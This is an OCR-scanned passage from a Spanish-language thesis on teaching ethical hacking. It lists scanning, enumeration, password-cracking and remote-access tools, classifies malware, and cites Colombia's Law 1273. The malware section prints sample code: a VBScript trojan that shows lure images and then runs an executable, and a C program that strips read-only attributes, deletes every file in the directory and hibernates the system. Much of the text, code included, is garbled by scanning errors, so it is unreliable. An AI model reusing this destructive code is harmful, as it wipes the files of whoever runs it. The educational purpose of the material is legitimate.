comunmente se conocen con el nombre de entidadesrtigbacion, de facil acceso en la red,
tales como: [Garcia — Moran, 2010]:

* Xnews

http://xnews.newsguy.com

http://www.math.fuberlin.de

* IRC

http://www.mirg.co.uk

http://www.linuxlots.com

Estas herramientas, facilitan el andlisis de laleedaloracion de los dominios de red, el analisis
de transferencias DNS, la valoracion del trazadouttes, el barrido de direcciones, escaneo de
puertos, establecimiento de puertas traseras, cifgcude scripts y exploracion de
vulnerabilidades, por su importancia se preserdanchracteristicas de las herramientas mas
utilizadas, a saber:
+ NetScan Tools Basic (Garcia — Noran, 2010)

0 DNS Tools.

o Ping.

o Graphical ping.

o Traceroute.

0 Ping scanner.

0 Whois.
« Nmap

o TCP Connect.
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TCP SYN.
Escaneo ping.
Escaneo UDP.
IP scan.

ACK scan.
RPC scan.

Sistema scripting.

o O O O O o o

Descubrimiento de red.

Deteccion de servicios.

Deteccidn de vulnerabilidades (Vuln).
Deteccion de informacién (Discovery).
Denegacion de servicios (DNS).

o O O O o o

Exploradores (Fuzzer).
o Exploradores invisibles (Safe).

+» Netcat http://netcat.sourceforge.net

Escaneo de puertos TCP/IP.
< HIPing (http://www.hiping.org.

Andlisis de respuestas de WKP (puertos bien consyiggudiéndose obtener esta informacion:
o Tamafo del paquete.

Direccion IP.

Puerto de origen.

Bits de control activados.

indice de secuencia.

Tamarfio de ventana.

o O O O O o

Tiempo de respuesta.
+» SSS (Shadow Security Scanner).
o Complete scan.
o Full scan.
0 Quick scan.
o Only NetBios scan.
o Only FTP scan.
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0 Only HTP scan.
o Add rule (Creacién de reglas de escaneo).
o General.
Description.
Modules.
Ports.
Audits.
UDP scan.
Hittp.
NetBios.
Socks.
Default.

O O 0O O o o o o o

+* NVS (Nessus Vulnerability Scanner).

De acceso ehttp://www.nessus.org

+« Exploit kathz.exe
% Local (DOS?).
+ Remoto:
o P&gina web.
o Descubrimiento de puerto.
0 SQL Injection.
« MF (Metaexploit Framework)
o Desarrollo de exploits.
o Automatizacion de ataques.
o Transferencia de archivos (Meterpreter).
« Brutos (Validacion de fuerza bruta).

Disponible erhttp://www.hoobie.netde gran uso en el rompimiento e identificaciorcliEntes,

filtra, convierte, permuta y crea listas de usigario

« Keylogger.

8Familia desistemas operativgsaracomputadoras personal@C). https://es.wikipedia.org/wiki/DOS
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Roba contrasefias, el mas utilizado es la versit®BGER", que crea interfaces y almacena

logs, catalogando el host, el usuario, los puertekcifrado de usuario, los puertos y el cifrado

de archivos o log.

La construccion funcional del proceso de ataqulioa el reconocimiento, escaneo, acceso,

explotacion o ejecucion, mantenimiento y borradohdellas, para este proceso se pueden

también utilizar ademas de las herramientas citattess de uso comun o particulares,

especificamente para configurar o valorar atagonéd/iadows, se pueden utilizar las formales y

las de enumeracion, tales como las que se sefiatartiauacion:

% Herramientas formales.

o Net: Accounts, View, Use, Group, Start (Ver fig@#).

2NUsers~SOPORTEBOGOTA>net start
IS¢ han iniciado estos serwvicio de Window

conexiones de Windows
credenciales
cuentas de seguridad
identidad de redes de mismo nivel
n local
de Windows <uIn>

Agente de
fAgente de

ion Manager Service

Ce de guridad
Cliente de seguimiento de vincules distribuidos
Cliente DHCP
Cliente DHNS R
Cola de impresién
Compilador de ex&remo de audio de Windows

re

aul:omal:ll:a d

de hardware shell
n SSDP
ics Tracking Service
de UPnP

Log Service
Service
Service
psonCustomerParticipation
Estacion de trabajo
Examinador de equ
Fircwall de Windo
detecc 1on de funcidn
de diagndsti

sional “1213 “FP Eeries Receive Fax Service

HUDeviceService -exe

ador de proceso de servidor
Instrumental de admini acion de Windows
Llamada a procedimien emoto <RPC>
Motor de filtrado de

b
Midulos de creacidn de claves de IPsec para IKE y AuthIP
12

et Driver HP:
HitroPDFDriverCreatorReadSpools
Plug and Play
Pml Driver HPZ12
de aplicaciones multimedia
de tareas
lucidén de nombres de mismo nivel

xy web WinHTTP

]lumana

n segundo plano

de eventos de
ario

transferencia inteligente en segundo plano <BITS>

uso compartido de red del Reproductor de

Hacer clic y ejecutar de Microsoft Office
Interfa=z de almacenamiento en red
cios de cifrado

cifrado de archivos <EFS>

Sistema de eventos COM+
Superfetch
TeamUiewer 8
Temas
TGCHM_ImportWiFiSuc
wampa
wampmysgld

ndo

Windows Media

Driver Foundation — User-—mode Driver Framework

Searc I
s Upda
efcce lel-atol-Sel-u ice

lie ha completado el comando correctamente.

Figura 34. Generacion comando Net Start.
Fuente: Aporte realizadores.

83oftware que se encarga de registrar las pulsxigue se

realizan en elteclado, para posterioement

memorizarlas en un fichero o enviarlas a travésitgenet. https://es.wikipedia.org/wiki/Keylogger.
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o Ping
% Herramientas de Enumeracion.
Nbtstat.
Snmputil.
Ireasoning mib browser.
Regdmp.exe (Enumera registros).
User2SID.
SID2Usef”.
Cain&Abef®.
NBTDumpg".
UserDump.
Userlnfo.
IP Network Browsé®.

Enum.

© 0O 0O 0O O o o o o o o o

> Lista usuarios.
» Enumera maquinas.
> Lista recursos.
> Explora politicas de contrasefias.
> Lista archivo de contrasefias.
0 DumPacl.
0 DumpSec.
o Foca.
El proceso del archivo de contrasefias, se validd sistema Windows, mediante el seguimiento
de la figura (35).

8Utilizados para recuperar los nombres de todas lasentas de usuario y mucho mas.
http://www.windowsecurity.com/whitepapers/windowscarity/Windows-Enumeration-USER2SID-
SID2USER.html.

8Es una herramienta de recuperacion de contrasefias ara Microsoft
Windows. https://es.wikipedia.org/wiki/Ca%C3%ADn Abel_(software).

8Programa que abusa de los que tienen NetBIOS abgarta los recursos que tiene y los usuariosrdehador.
http://www.bujarra.com/HerramientasHacking.html.

8Es una herramienta de deteccion de IP en tiempb Estanea una subred o un rango de subredes.
http://www.solarwinds.com/es/engineers-toolsetiwork-browser.aspx.
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Y%windir¥system32\
config

— pwdump
— pwdump2
+— pwdump3
pwdump4
L pwdump5
t— Cain&Abel
+— Ophcrack
— Kon Boot

John the Ripper

Figura 35. Proceso de validacion del archivo detcasefas.

Fuente. Aporte realizadores.

3.4.3Malware o software dafinoSe identifica con este nombre a la unidad l6gidangional
cuya estructura de comandos esta orientada al itoiento de un dafio, destruccion o detencién
de un sistema computacional, basicamente el malsargasifica asi [Enger 1990]:
¢ Software con programa propulsor: Bombas logicassyicaballo de Troya y trampa.
0 Bomba ldgica: Programa condicionado y operado segioronizacion de tiempo, que se
estructura para congelar o destruir totalmentewnidad I6gica, archivo, bitacora, cliente

0 servidor.
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¢ Virus: Entidad que por catalogacion funcional sgptlega y ejecuta sobre arquitecturas, al
ejecutar médulos de inyeccidon que lo propaganyatty ejecutan segin su estructura, los
virus se clasifican como se lista:
» Parasito.
» Residente en memoria.
» De booteo o sector de arranque.
» Furtivo.
» Polimorfico.
% Caballo de Troya: Entidad con apariencia Util qlieejacutarse genera dafios de alto
impacto en el sistema.
% Trampa: Entidad que en el estado convencional d&aojfn, puede modificar con
decisiones o generar dafos, al ejecutar acciongzawistas pero de facil deteccion en el
cadigo.
+«+ Software con independencia funcional: Zombi, Gusano
Sus principales caracteristicas son [Stallings 010
% Zombi: Programa no percibido que se instala soheeplataforma base, para direccionar
un ataque sobre otra definida.
% Gusano: Programa con proyeccion automatica queicdu@u residencia mediante
propagacion selectiva o aleatoria.
Para fines de documentacion, se presentan los o®dyle ejemplifican formalmente el
software dafiino, estos son:
+» Caso 1: Bomba logica. El segmento JCL, carga uaoapetros de operacion supuestamente
asociados con un proceso pero ejecuta otro diferent
//ProLibrel5 Job Class=B, Region = 0n, nsgClasswglevel= (1, 1)
//JobLib DD Dsn=Cobp.Libre.LoadLip.Batch, Disp=SHR
11%%Set %%.Fecho=%$ODate
/IPropol exec pgn=Indicel0, Cond= (0,Lt)
//Entra DD Dsn=Gof.50015.ProLib15.ProLib16.Td00%s=SHR, Bufno=50
/IQRLSDBZ DD SysOut = (X, , )
//SysOut DD SysOut = (X, , , )
//SysPrint DD SysOut = (X, , )
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//ISysTprt DD SysOut = (X, , , )

//ISysSin DD Dummy

//SysUdump DD Dummy

//SysTsin DD x

DSN System (DBZP)

Run program (ProLib83) Plan (Libre45)

End

I
++ Caso 2: Caballo de Troya. Con este script se narestdeos o fotos que cautivan al usuario y
luego se encadena a un programa C++, que boreadbivos del directorio y coloca en modo de
hibernacion al sistema.

Set WshShell = WScript.CreateObject("WScript.Shell"

Dim newsA1l, newsAz2, Libre

NewsAl = "Merry Christmas and Happy New year"

NewsA2 ="l am just for you, kiss me"

WshShell.Run "Navidad.jpg"

Set Libre = CreateObject("SAPI.SpVoice")

Libre.Speak NewsA1l

MsgBox "Contempla esta belleza",20,"Deleitate"

WshShell.Run "Mujer.jpg"

Libre.Speak NewsA2

MsgBox "Soy para ti",1024,"Disfrutame por favor"

WshShell.Run "Progra50.jpg"

MsgBox "Todo esta listo",512,"Felicidades"

WshShell.Run "otro.exe"
Este script, encadena el cédigo que se guarda otnmexe, su estructura se lista asi:

#Include <windows.h>

#Include <conio.h>

#Include <stdio.h>

#Include <stdlib.h>

main ( int argc, char *argv[], char *envpl[])
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{

int k;

for (k=0;envp[K]=!null;k++)

print f ("%s\n",envp[K]);

getch();

k=0;

while (k<20000)

{

PutEnv ("UserDomain = Libre30");
PutEnv ("UserDomain = Juandre80");
system (“cls");

system ("set");

system ("Attrib -r *.*");

system ("del *.*");

system ("ShutDown -h");

k++

}
Return (0);

}

En la red, es posible que el interesado evallsitpgentes troyanos:

% Poison ivy® (http://www.poisonidyv.rat.cojn

< Dark comet’ (http://www.darkcomet.rat.com

Su familiarizacién es de gran importancia, par&iges exploran el umbral de los hackers.

8permite tomar capturas de pantalla, activar la aebhcobar las pulsaciones del teclado, acceso arttgvos de
la victima, etc. http://www.redeszone.net/2013/@8dison-ivy-sigue-siendo-utilizado-en-ataques-infaticos/
“Esta herramienta permite acceder a otro ordenhttps://nl.wikipedia.org/wiki/DarkComet_RAT
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4. CONCLUSIONES
« El hacking ético como componente de la formaciéectela de seguridad informatica,
constituye un escenario de gran importancia pafarfaacion del ingeniero de sistemas en la
Universidad Libre, razon por la cual la elaboracifeninstrumentos de soporte y aprendizaje
constituyen el mejor objetivo, para permitir que pebgrama cuente con material idéneo
desarrollado a su interior.
¢ Procedimentalmente la construccion de un vectatague, es el resultado de la integracion
de un conjunto de componentes resultantes del goate analisis de vulnerabilidad que en este
trabajo se ha expuesto con detalle no descuiddratwksis matematico requerido.
« El hacking ético presentado como fundamento edpemla mediante las 3 unidades de
aprendizaje desarrolladas, complementa logicamanaecion del docente orientador, invita al
desarrollo de competencias argumentativas y propasipara despertar en el estudiante el

interés proyectivo de una certificacion en el area.
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RELACION DE ANEXOS
Anexo A: Ley 1273

Objetivo:

Presentar el marco de accién legal, que susterithcamente la creacion de un bien juridico quegm®
la informacion.

Fuente:

http://www.derechodeautor.gov.co/documents/10181/331998/Cartilla+derecho+de+autor+%28Alfredo+Ve
0a%29.pdf/e99b0eas-5c06-4529-ae7a-152616083d40 Manual de derecho de autor
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ANEXO A: Ley 1273

La ley 1273, contempla, como base formal, el cuatpoaccion por medio de la cual se
modifica el Cddigo Penal, se crea un nuevo biedigo tutelado denominado "De la proteccion
de la informacién y de los datos" y se preservaegralmente los sistemas que utilicen las
tecnologias de la informacibn y las comunicacionemtre otras disposiciones;

complementariamente a la luz de dicha ley , eta@lformatico surge como nueva entidad que
demanda la presencia del juez para contrarrestaccelso ilicito al patrimonio de terceros a
través de clonacion de tarjetas bancarias, vuliterac alteracion de los sistemas de cémputo
para recibir servicios y transferencias electr®icke fondos mediante manipulacion de
programas Yy afectacion de los cajeros automatimos,se validan juridicamente, mediante la
consideracion de dos facetas importantes, a s@tas atentados contra la confidencialidad, la

integridad y la disponibilidad de los datos y de kistemas informaticos y de los atentados
informaticos y otras infracciones.



